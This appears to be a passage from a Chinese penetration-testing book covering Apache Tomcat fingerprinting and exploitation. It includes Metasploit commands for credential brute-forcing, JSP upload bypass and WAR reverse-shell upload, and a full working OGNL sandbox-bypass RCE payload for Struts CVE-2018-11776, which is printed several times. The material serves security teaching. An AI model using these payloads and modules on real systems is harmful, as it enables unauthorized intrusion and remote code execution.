在本章中,我们学习了 JBoss 的基础知识,然后继续学习文件和目录结构。接下来,我们研究了 JBoss 的枚举,然后进行了使用 Metasploit 框架进行漏洞评估,之后我们进行了通过管理控制台进行利用的过程。最后,我们通过 Web 控制台执行了利用。

在下一章中,我们将学习有关对 Apache Tomcat 进行渗透测试。

问题

JBoss 可以免费下载吗?

进一步阅读

JBoss 目录结构:

Java 序列化格式:

第十六章:技术平台的渗透测试- Apache Tomcat

在上一章中,我们学习了如何对JBoss 应用服务器JBoss AS)进行渗透测试。现在让我们看看另一个技术平台,称为Apache Tomcat。Apache Tomcat 软件是在一个开放和参与的环境中开发的,并在 Apache 许可证第 2 版下发布。Apache Tomcat 是一个 Java Servlet 容器,实现了多个核心企业特性,包括 Java Servlets、Java Server PagesJSP)、Java WebSocket 和Java Persistence APIsJPA)。许多组织都有部署在 Apache Tomcat 上的基于 Java 的应用程序。易受攻击的 Apache Tomcat 软件对威胁行为者来说是一个金矿,因为许多支付网关、核心银行应用程序和客户关系管理CRM)平台等都在 Apache Tomcat 上运行。

在本章中,我们将涵盖以下主题:

  • Tomcat 简介

  • Apache Tomcat 架构

  • 文件及其目录结构

  • 检测 Tomcat 安装

  • 版本检测

  • 对 Tomcat 进行利用

  • Apache Struts 简介

  • OGNL 简介

  • OGNL 表达式注入

技术要求

本章的先决条件如下:

Tomcat 简介

Apache Tomcat 软件是一个开源的 Web 服务器,旨在运行基于 Java 的 Web 应用程序。当前版本的 Tomcat 的一些特性包括以下内容:

  • 支持 Java Servlet 3.1

  • JSP 2.3

  • Java 统一表达语言EL)3.0

  • Java WebSocket 1.0

Tomcat 是由许多开发人员在 Apache 项目平台的支持下开发和处理的,根据 Apache 认证 2.0 证书发布,并且是一个开源应用程序。Tomcat 可以作为一个独立产品使用,具有自己的内部 Web 服务器,也可以与其他 Web 服务器一起使用,包括 Apache 和 Microsoft 的Internet Information ServerIIS)。

鉴于 Apache Tomcat 被许多组织使用,应该明智地考虑这个平台的安全性。在撰写本书时,Shodan 已经确定了全球超过 93,000 个 Tomcat 实例(独立和集成在 JBoss 实例中),如下截图所示:

Apache Tomcat 服务器内的漏洞可以允许威胁行为者利用服务器上运行的应用程序,甚至可以超越通用应用程序的利用,最终获取对组织内部网络的访问权限。

Apache Tomcat 架构

Tomcat 可以被描述为一系列不同的功能组件,这些组件根据明确定义的规则组合在一起。以下图表代表了 Tomcat 的结构:

让我们试着理解前面图表中显示的每个组件的作用:

  • 服务器:服务器代表整个 Catalina Servlet 容器。server.xml文件代表 Tomcat 安装的所有特性和配置。

  • 服务:服务是服务器内部包含连接器的组件,这些连接器共享单个容器来处理它们的传入请求。

  • 引擎:引擎接收并处理来自不同连接器的信息,并返回输出。

  • 主机:这是服务器使用的网络或域名。一个服务器可以有多个主机。

  • 上下文:表示 Web 应用程序。在主机上可以有多个具有不同 URL 路径的 Web 应用程序。

  • 连接器:连接器处理客户端和服务器之间的通信。有不同类型的连接器用于处理各种通信;例如,HTTP 连接器用于处理 HTTP 流量,而 AJP 连接器用于使用 AJP 协议与 Apache 通信。

现在我们对 Apache Tomcat 架构有了基本的了解,让我们来看看 Tomcat 服务器上存储的文件和目录的结构。

文件及其目录结构

Tomcat 的文件和目录结构与我们在上一章中讨论的 JBoss 类似。在本节中,我们将快速浏览 Tomcat 的目录结构,如下面的屏幕截图所示:

Tomcat 目录中的子目录可以解释如下:

  • bin:此目录包含服务器初始化时所需的所有脚本,如启动和关闭脚本以及可执行文件。

  • common:这个目录包含 Catalina 和开发人员托管的其他 Web 应用程序可以使用的公共类。

  • conf:这个目录包含用于配置 Tomcat 的服务器 XML 文件和相关的文档类型定义DTD)。

  • logs:这个目录,顾名思义,存储了 Catalina 和应用程序生成的日志。

  • server:这个目录存储仅由 Catalina 使用的类。

  • shared:这个目录存储可以被所有 Web 应用程序共享的类。

  • webapps:这个目录包含所有的 Web 应用程序。

  • work:这个目录代表文件和目录的临时存储。

最有趣的目录之一是webapps目录:

通过导航到webapps目录并列出内容,我们可以查看目录,如前面的屏幕截图所示:

  • ROOT:这是 Web 应用程序的根目录。它包含所有的 JSP 文件和 HTML 页面,客户端 JAR 文件等。

  • docs:此目录包含 Apache Tomcat 的文档。

  • examplesexamples文件夹包含 Servlet、JSP 和 WebSocket 示例,以帮助开发人员进行开发。

  • host-managerhost-manager应用程序允许我们在 Tomcat 中创建、删除和管理虚拟主机。这个目录包含了这个应用程序的代码。

  • managermanager允许我们管理安装在 Apache Tomcat 实例上的 Web 应用程序,以Web 应用程序存档WAR)文件的形式。

对文件和目录结构的清晰理解可以帮助我们在目标 Tomcat 服务器上进行非常有效的侦察。

检测 Tomcat 安装

现在,让我们看看如何检测服务器上是否安装了 Tomcat,以及可以用于进一步侦察的常见检测技术。

通过 HTTP 响应头检测 - X-Powered-By

检测 Apache Tomcat 安装的一种常见方法是查看服务器响应中的X-Powered-By HTTP 头:

典型的安装将在 HTTP 响应头中给出 Apache Tomcat 版本。

通过 HTTP 响应头检测 - WWW-Authenticate

检测 Tomcat 的一种简单方法是请求/manager/html页面。一旦您发出请求,服务器将以 HTTP 代码401 未经授权回复,并附带WWW-Authenticate HTTP 头:

如前面的屏幕截图所示,这个特定的头部将设置为Tomcat Manager Application字符串,通过使用这个头部,我们将能够检测目标服务器是否安装了 Tomcat。

通过 HTML 标签检测 - 标题标签

如果您在打开 Tomcat 实例时看到一个空白页面,您仍然可以通过查看 HTML <title>标签来检测它是否是 Tomcat 页面:

Apache Tomcat字符串在<title>标签之间提到,就像前面的截图中一样。

通过 HTTP 401 未经授权错误检测

Tomcat 安装通常使用 Tomcat Manager Web 应用程序来管理和部署 Web 应用程序。它可以通过URL/manager/html访问。这会产生一个 HTTP 身份验证面板:

单击弹出窗口上的“取消”将给您一个 401 错误,就像前面的截图中一样,这证实了 Tomcat 的存在。

**注意:**这种信息披露只存在于 Tomcat 服务器配置错误的情况下。

通过唯一指纹(哈希)检测

我们在之前的章节中看到,大多数 Web 应用程序可以通过它们的 favicon 来检测。可以比较不同版本的 favicon 的md5哈希来识别正在使用的 Tomcat 的版本:

以下截图显示了 OWASP favicon 数据库列表中的哈希:

我们还可以维护我们的 favicon 数据库,以检查不同版本的 Apache Tomcat 安装。

通过目录和文件检测

安装时,Apache Tomcat 还创建了docsexamples目录,以帮助开发人员进行应用程序开发和部署。默认情况下,文件夹的 URI 如下:

  • /docs/

  • /examples/

我们还可以使用 SecLists (github.com/danielmiessler/SecLists)来枚举 Tomcat 中的敏感文件:

前面的截图显示了可以用来识别安装了 Tomcat 的实例的不同文件和文件夹。在下一节中,我们将解决如何识别 Tomcat 安装的版本号。

版本检测

一旦我们确认服务器正在运行 Tomcat,下一步是建立版本信息。在本节中,我们将看一些检测现有 Tomcat 安装的版本号的方法。

通过 HTTP 404 错误页面检测版本

默认情况下,Tomcat 的 404 错误页面会披露它正在运行的版本号,所以我们只需要访问服务器上不存在的 URL,服务器应该会返回一个错误页面,如下面的截图所示:

许多管理员实际上并没有隐藏披露版本号的 Web 服务器横幅。攻击者可以利用这些信息从其库中找到公开或零日利用来访问服务器。

通过 Release-Notes.txt 披露版本信息

Tomcat 还有一个Release-Notes.txt文件,其中包含有关该版本的增强功能和已知问题的详细信息。该文件还向威胁行为者披露了 Apache Tomcat 服务器的版本号:

发布说明的第一行包含版本信息,就像前面的截图中一样。

通过 Changelog.html 披露版本信息

除了Release-Notes.txt之外,还有一个Changelog.html文件,该文件在页面上披露了版本号,如下所示:

现在我们可以继续下一步,即利用 Tomcat 安装。

利用 Tomcat

在本节中,我们将看一下如何执行对 Tomcat 的易受攻击版本的利用。我们将涵盖各种技术,包括上传WAR shell和 JSP 上传绕过。

在 Metasploit 上使用search命令查找 Tomcat 将为我们提供一些可用的模块,如下所示:

我们将使用最基本的模块,它将暴力破解 Tomcat Manager 并给我们凭据:

  1. 要加载模块,我们可以使用以下命令:
use auxiliary/scanner/http/tomcat_mgr_login
  1. 在使用模块之前,了解模块的工作原理总是一个好习惯。牢记这一点,渗透测试人员可以在有Web 应用程序防火墙WAF)的情况下调整模块。模块加载后,我们可以使用show options命令来查看测试人员需要填写的选项(如下截图所示):

  1. 通过查看选项,我们可以看到它要求填写 Tomcat 安装的 IP(RHOSTS)和端口(RPORT),以及用于暴力破解凭据的字典。我们使用run命令来执行模块,如下所示:

  1. 我们将得到一个正确的登录/密码组合的登录成功消息,如下所示:

利用默认密码漏洞访问服务器是利用 Apache Tomcat 的最常见方式之一。如果攻击者使用默认密码获得访问权限,甚至不需要花费大量精力来查找不同的易受攻击的端点。

Apache Tomcat JSP 上传绕过漏洞

影响 Tomcat 7.x、8.x 和 9.x 以及 TomEE 1.x 和 7.x 的 JSP 上传绕过漏洞。该漏洞涉及使用PUT方法绕过文件名过滤器上传 JSP 文件。此外,Metasploit 模块也可用于此漏洞利用。让我们通过执行以下命令来使用该模块:

use exploit/multi/http/tomcat_jsp_upload_bypass

以下截图显示了上述命令的输出:

设置RHOSTS值并使用run命令执行模块如下截图所示:

正如您在以下截图中所看到的,这个 Metasploit 模块将首先使用 HTTP 的PUT方法来上传一个带有.jsp扩展名后面跟着/(斜杠)的 JSP 文件。如果 Apache Tomcat 实例以 HTTP 201(已创建)代码回应,这意味着文件已成功上传到服务器:

文件被上传的原因是 Tomcat 服务器存在文件上传限制漏洞(仅限特定版本),如果文件扩展名为 JSP,则会过滤文件。使用这个斜杠,我们可以绕过这个限制来上传一个恶意的基于 JSP 的 Web shell。在这种情况下,有效载荷文件被使用PUT方法发送到目标服务器,如下截图所示:

如前所述,在成功上传的情况下,服务器将返回 HTTP 201代码。

一旦有效载荷文件被上传,Metasploit 模块将请求相同的文件名来执行我们的有效载荷:

成功执行有效载荷后,我们将得到一个通用 shell:

在利用 JSP 上传绕过后,我们并不总是需要获得root(特权)shell。还有更多的情况需要我们从普通用户升级到root

Tomcat WAR shell 上传(经过身份验证)

假设我们有 Apache Tomcat 实例的凭据(可能是通过窃听/嗅探或从包含敏感信息的文件中获得)。用户可以通过将打包的 WAR 文件上传到 Apache Tomcat 实例来运行 Web 应用程序。在本节中,我们将上传一个 WAR 文件以获得绑定/反向 shell 连接。请注意,WAR shell 上传需要身份验证才能工作;否则,服务器将以 HTTP 401(未经授权)代码回应:

  1. 首先,让我们请求/manager/html页面。服务器将要求进行 HTTP 身份验证:

  1. 一旦经过身份验证,页面将被重定向到/manager/status,如下图所示:

  1. 单击“列出应用程序”将列出由此 Apache Tomcat 实例管理的所有已安装应用程序:

  1. 在同一页向下滚动,我们会找到一个“部署”部分,在这里我们可以通过 URL 部署服务器上的 WAR,或者通过上传我们自己的 WAR 文件来部署:

  1. 我们可以从页面的 WAR 文件部署部分向服务器上传 WAR 文件(redteam.war)。单击“部署”按钮将部署我们的 WAR 文件。在成功部署 WAR 后,我们的应用程序将安装在 Apache Tomcat 服务器上,我们可以从“列出应用程序”选项中查看(如前所述):

  1. 在上面的屏幕截图中,我们的 WAR 文件已部署。现在,我们只需要正常从浏览器访问我们的 JSP shell,并将要执行的命令作为参数的值传递(如下图所示):

使用 Metasploit 也可以实现相同的过程。使用 Metasploit 中的tomcat_mgr_upload模块,我们可以上传一个 WAR shell。让我们通过在msfconsole中执行以下命令来使用这个模块:

use exploit/multi/http/tomcat_mgr_upload

以下屏幕截图显示了前面命令的输出:

由于这是一个经过身份验证的机制,我们需要提供 HTTP 身份验证的凭据。让我们执行这个模块,以便 Metasploit 可以上传 WAR 文件并在服务器上执行有效载荷:

如前面的屏幕截图所示,模块已成功通过服务器进行了身份验证,并上传了一个 WAR 文件(ymRRnwH.war)。上传后,模块调用了 WAR 文件中打包的 JSP 有效载荷,并执行它以获得反向meterpreter连接:

在执行tomcat_mgr_upload模块时,meterpreter检查以下步骤:

  1. Metasploit 模块检查凭据是否有效。

  2. 如果它们是有效的,模块将从服务器响应中获取org.apache.catalina.filters.CSRF_NONCE的值(CSRF 令牌)。

  3. 然后,该模块尝试通过 HTTP POST方法(无需身份验证)上传 WAR 有效载荷。

  4. 如果前面的步骤失败,模块将使用提供的凭据上传 WAR 文件(POST/manager/html/upload)。

  5. 上传成功后,模块将从服务器请求 JSP meterpreter文件,导致打开了meterpreter连接(在这种情况下是一个反向连接)。

注意:

我们已经上传并执行了meterpreter shell 以获得反向连接。有些情况下,反向连接是不可能的。在这些情况下,我们可以总是寻找绑定连接,或者通过 HTTP 隧道meterpreter会话。

现在我们知道了如何将 WAR shell 上传到 Apache Tomcat 实例,以及如何利用一些漏洞,让我们继续进行对 Apache Tomcat 实例执行的攻击的下一级别。

Apache Struts 简介

Apache Struts 是一个免费的开源框架,遵循 MVC 架构,用于开发基于 Java 的 Web 应用程序。它使用 Java Servlet API。它最初是由 Craig McClanahan 创建的,并于 2000 年 5 月捐赠给 Apache 基金会。Apache Struts 2 的第一个完整版本发布于 2007 年。

在本节中,我们将看一下 Apache Struts 中发现的一些漏洞。

了解 OGNL

对象图标记语言OGNL)是一种 EL,它简化了存储在ActionContext中的数据的可访问性。ActionContext是一个包含了执行操作所需的对象的容器。OGNL 在 Apache Struts 2 中有很强的关联,并用于将表单参数存储为 ValueStack 中的 Java Bean 变量。ValueStack是一个存储区,用于存储数据以处理客户端请求。

OGNL 表达式注入

当未经过滤的用户输入传递给 ValueStack 进行评估时,就会发生 OGNL 表达式注入。在本节中,我们将尝试理解表达式注入查询,并查看一个利用示例。

以下屏幕截图显示了一个使用 Struts 2 的易受攻击的 Web 应用程序的示例,该应用程序易受 CVE-2018-11776 的攻击:

让我们尝试手动利用这个 Struts 漏洞(CVE-2018-11776),采取以下步骤:

  1. 当您转到菜单栏中的 Configuration | Action Chaining 时,您会注意到以下请求被发送到服务器:

  1. 然后服务器返回以下响应:

  1. 现在,我们将actionchaining字符串替换为其他内容,例如Testing123,就像我们在以下屏幕截图中所做的那样:

  1. 当我们这样做时,服务器会处理我们的Testing123字符串,并用相同的字符串做出响应:

  1. 要测试诸如 OGNL 之类的表达式语言注入,我们需要使用${..}%{..}语法。OGNL 将处理包含在${..}%{..}中的任何内容。因此,为了进行简单的测试,让我们使用${123*123}%{123*123}字符串:

  1. 由于代码位于以$%开头的括号中,服务器将其处理为 OGNL 表达式,并以以下屏幕截图中显示的结果做出响应:

现在我们已经成功确认了前面测试案例中的漏洞,让我们了解如何在执行进程上进行 OGNL 注入时,如何注入有效负载并绕过沙箱(如果有的话)。

测试 OGNL 注入的远程代码执行

为了测试漏洞,我们将使用以下有效负载:

${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

在分解有效负载之前,让我们了解一些关于 OGNL 的东西,这将帮助我们更好地理解有效负载:

运算符描述
${..} or %{..}一个 OGNL 表达式块。
(e)一个带括号的表达式。
e.method(args)方法调用的语法。
e.property调用属性的语法。
e1[e2]数组索引。
[e]数组索引引用。
#variable上下文变量引用。
@class@method(args)静态方法引用。
{e1,e2,e3,..}列表创建-逗号(,)的用法与分号(;)相同,用于结束语句。
e1.(e2)子表达式评估。

现在,让我们通过参考前面的表来分解先前提到的有效负载。

在以前的 Struts 版本中,_memberAccess对象用于控制 OGNL 的操作,但在后来的版本中,_memberAccess对象甚至受到了对构造函数调用的限制。这是由于excludedClassesexcludedPackageNamesexcludedPackageNamePatterns黑名单,拒绝访问特定的类和包。即使_memberAccess对象是可访问的,对该对象也施加了严格的限制。

要绕过这样的限制,在 Struts 版本 2.3.20-2.3.29 中,我们只需用DefaultMemberAccess对象(SecurityMemberAccess类中的可访问静态对象)替换_memberAccess对象,这将允许我们控制 OGNL 的操作而没有任何限制。

因此,负载的第一行用于通过将上下文从_memberAccess更改为DefaultMemberAccess来绕过对_memberAccess对象的限制:

${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

在上述代码中,OgnlContext是一个类,根据 Apache Common OGNL 表达式参考(commons.apache.org/proper/commons-ognl/apidocs/org/apache/commons/ognl/OgnlContext.html)定义了 OGNL 表达式的执行上下文。

现在上下文已从_memberAccess更改为DefaultMemberAccess,我们可以使用setMemberAccess方法设置MemberAccess。但是,为了访问对象,我们首先需要清除黑名单(excludedClassesexcludedPackageNamesexcludedPackageNamePatterns)。我们可以通过恢复到原始上下文来清除黑名单,如我们负载的下一行突出显示所示:

${(*#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS*).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

由于我们还没有上下文,我们需要检索上下文映射,可以通过访问ActionContext.container来完成。现在可以访问此容器,因为我们已经从struts.valueStack请求了上下文。请参考我们负载的以下突出显示行:

${(*#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS*).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

现在我们已经可以访问上下文映射(请参考我们负载的第一行突出显示),我们现在可以清除黑名单,以便访问DefaultMemberAccess对象,该对象没有限制。我们的负载的第二行突出显示行就是这样做的:

${(*#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS*).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

一旦clear()方法被处理并且我们已经清除了黑名单,我们现在可以使用setMemberAccess()方法设置为DEFAULT_MEMBER_ACCESS来设置MemberAccess。请参考负载中的以下突出显示文本:

${(*#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS*).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

现在我们已经可以访问DEFAULT_MEMBER_ACCESS对象,我们可以从 Java 常用实用程序包中调用任何类、方法和对象来在 OGNL 中运行。在这种情况下,我们将使用Runtime().exec()方法来执行我们的命令(#a=@java.lang.Runtime@getRuntime().exec('id')),并且为了在响应中打印命令执行输出,我们将使用getinputStream()方法,如负载的最后两行所示:

${(*#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS*).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

现在我们对负载有了更好的理解,让我们在请求中使用负载,如下面的屏幕截图所示:

服务器将处理 OGNL 表达式,并在允许访问DEFAULT_MEMBER_ACCESS对象后,将调用我们的Runtime().exec()方法,该方法将执行我们的命令:

'id'命令的输出将打印在Location HTTP 响应头中,如前面的屏幕截图所示。现在我们已经了解了 OGNL 表达式及其手动利用,让我们尝试使用 Metasploit 来利用它。

通过 OGNL 注入测试盲远程代码执行

这是一个不同的情景,服务器对 Apache Struts 2 远程代码执行RCE)漏洞存在漏洞,但由于某种原因,代码执行响应被隐藏了。在这种情况下,我们仍然可以通过使用sleep()函数来确认 RCE 漏洞。类似于时间基本的 SQL 注入中使用的sleep()函数,我们可以使用此函数来检查响应时间。我们已经执行了sleep()函数 2,000 毫秒,如下面的屏幕截图所示:

要确认漏洞,我们只需查看服务器的响应时间,即服务器处理请求并发送响应的时间。对于这种情况,我们执行了sleep()函数 2,000 毫秒,服务器在 2,010 毫秒内响应了请求,如下面的屏幕截图所示:

我们应该始终通过更改时间为不同的值来检查漏洞的存在。

测试 OGNL 带外注入

确认漏洞的另一种方法是执行与我们放置在组织外的自己的服务器进行交互的命令。要检查 OGNL 带外 (OOB)注入,我们可以执行一个简单的ping命令,如下截图所示:

在将有效载荷发送到服务器之前,我们需要使用tcpdump在服务器的公共接口上进行监听。我们可以执行tcpdump icmp host <ip>命令来过滤服务器上的 ICMP echo requestecho reply数据包。我们需要这样做,这样当我们执行有效载荷时,我们可以在服务器上收到ping的 echo request,就像下面的截图中一样:

对于 OOB 交互,我们可以尝试不同的协议,如 HTTP、FTP、SSH 和 DNS。如果我们无法获得输出(盲目),并且要检查是否可能获得反向 shell 连接,那么 OOB 注入会有所帮助。

使用 Metasploit 进行 Struts 2 利用

现在我们已经手动利用了 Struts 2 的漏洞并清楚地理解了相关概念,我们将看到使用 Metasploit 利用相同漏洞有多么容易。使用 Metasploit 可以使利用变得更加容易。我们可以通过以下步骤搜索 Struts 上所有可用的模块:

  1. 在 Metasploit 控制台中搜索struts,如下所示:

  1. 以下是一个运行 Apache Struts 的演示 Web 应用程序。该应用程序容易受到S2-013漏洞(CVE-2013-1966)的影响。让我们看看如何使用 Metasploit 来利用这个漏洞:

  1. 我们通过在msfconsole中输入以下命令来加载 Metasploit exploit:
use/exploit/multi/http/struts_include_params
  1. 通过输入show options命令,我们可以看到可用的选项,如下所示:

设置选项并运行 exploit 将给我们命令 shell。如果没有反向 shell 连接,我们需要执行简单的出站连接测试,以检查目标服务器是否允许所有端口的连接。如果防火墙阻止了出站连接,我们可以尝试通过 HTTP 隧道获取绑定连接。

总结

在本章中,我们介绍了 Tomcat 的基础知识,并了解了其架构和文件结构。然后,我们转向了识别 Tomcat 和检测版本号的不同技术。接下来,我们看了 JSP 和 WAR shell 上传的 Tomcat 利用。在本章的最后,我们介绍了 Apache Struts、OGNL 和 Tomcat 的利用。

在下一章中,我们将学习如何对另一个著名的技术平台 Jenkins 进行渗透测试。

问题

  1. 在黑盒渗透测试的情况下,我们如何公开识别 Tomcat 服务器?

  2. **Changelog.html**文件是否总是存在于 Apache Tomcat 服务器上?

  3. 我已成功将 JSP shell 上传到 Apache Tomcat 服务器。然而,我无法访问它。可能是什么问题?

  4. 我发现了一个 OGNL OOB 注入。我该如何进一步利用这个漏洞?

进一步阅读

以下链接可用作进一步了解 Apache Tomcat 和 CVE 2019-0232 的参考: